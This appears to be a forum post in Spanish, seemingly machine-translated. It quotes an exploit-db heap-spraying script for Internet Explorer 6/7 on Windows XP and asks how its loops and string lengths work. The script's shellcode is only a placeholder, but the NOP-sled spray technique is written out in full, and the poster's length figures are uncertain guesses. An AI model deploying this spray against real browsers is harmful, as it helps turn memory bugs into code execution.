Este es el código utilizado en la pulverización de pila en ie6, ie7, Windows XP, que se encuentra en exploit-db.
<script >
var shellcode = unescape('%u41%u41');
var bigblock = unescape('%u90%u90');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
Tengo algunas preguntas sobre este código. Creo que el valor de la variable slackspace
es 22, y la siguiente línea, terminando de ejecutar el bucle, la longitud de bigblock
es 22 con en realidad 44 bytes de 0x90
. Luego , siguiente línea, la longitud de fillblock
es 11, y su contenido es 22 bytes de 0x90
. Luego, en la siguiente línea, la longitud de block
es 0? La variable block
es una variable de cadena con la longitud de 0? ¿Y cómo entender la siguiente parte del código? Alguien me dice cómo entender el código?